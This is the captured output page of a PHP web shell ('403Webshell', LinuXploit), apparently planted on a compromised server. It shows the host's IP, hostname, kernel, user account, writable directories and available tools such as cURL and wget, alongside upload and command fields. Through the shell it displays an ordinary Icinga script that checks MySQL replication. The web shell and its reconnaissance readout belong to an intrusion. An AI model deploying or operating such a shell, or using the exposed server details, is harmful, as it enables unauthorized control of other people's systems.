403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.74
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/check_a2_mysql-replication.sh
#!/bin/bash
#
# Icinga plugin for checking MySQL replication status
#
# Author: Refactored for Icinga
#

MYSQL_USER="root"
MYSQL_PASS=""
MYSQL_SOCKET="/var/lib/mysql/mysql.sock"

# Performance thresholds
DELAY_OK=600
DELAY_WARNING=43200

MYSQL_STATUS=$(mysql --defaults-extra-file="/root/.my.cnf" -u$MYSQL_USER -S $MYSQL_SOCKET -e "SHOW SLAVE STATUS\G" | grep -E 'Slave_.*_Running|Seconds_Behind_Master' | sed 's/^ *//')

IO_RUNNING=$(echo "$MYSQL_STATUS" | grep "Slave_IO_Running:" | awk '{print $2}')
SQL_RUNNING=$(echo "$MYSQL_STATUS" | grep "Slave_SQL_Running:" | awk '{print $2}')
DELAY=$(echo "$MYSQL_STATUS" | grep "Seconds_Behind_Master:" | awk '{print $2}')

EXIT_CODE=0

if [[ "$IO_RUNNING" != "Yes" ]]; then
  OUTPUT="CRITICAL - Replication IO Stopped"
  EXIT_CODE=2
elif [[ "$SQL_RUNNING" != "Yes" ]]; then
  OUTPUT="CRITICAL - Replication SQL Stopped"
  EXIT_CODE=2
elif [[ "$DELAY" == "NULL" ]]; then
  OUTPUT="CRITICAL - Replication delay is NULL"
  EXIT_CODE=2
elif (( DELAY < DELAY_OK )); then
  OUTPUT="OK - MySQL Replication is running with delay $DELAY seconds"
elif (( DELAY < DELAY_WARNING )); then
  OUTPUT="WARNING - Replication delay $DELAY seconds"
  EXIT_CODE=1
else
  OUTPUT="CRITICAL - Replication delay $DELAY seconds"
  EXIT_CODE=2
fi

# Print output for Icinga
echo "$OUTPUT | delay=$DELAY;$DELAY_OK;$DELAY_WARNING;;"
exit $EXIT_CODE

Youez - 2016 - github.com/yon3zu
LinuXploit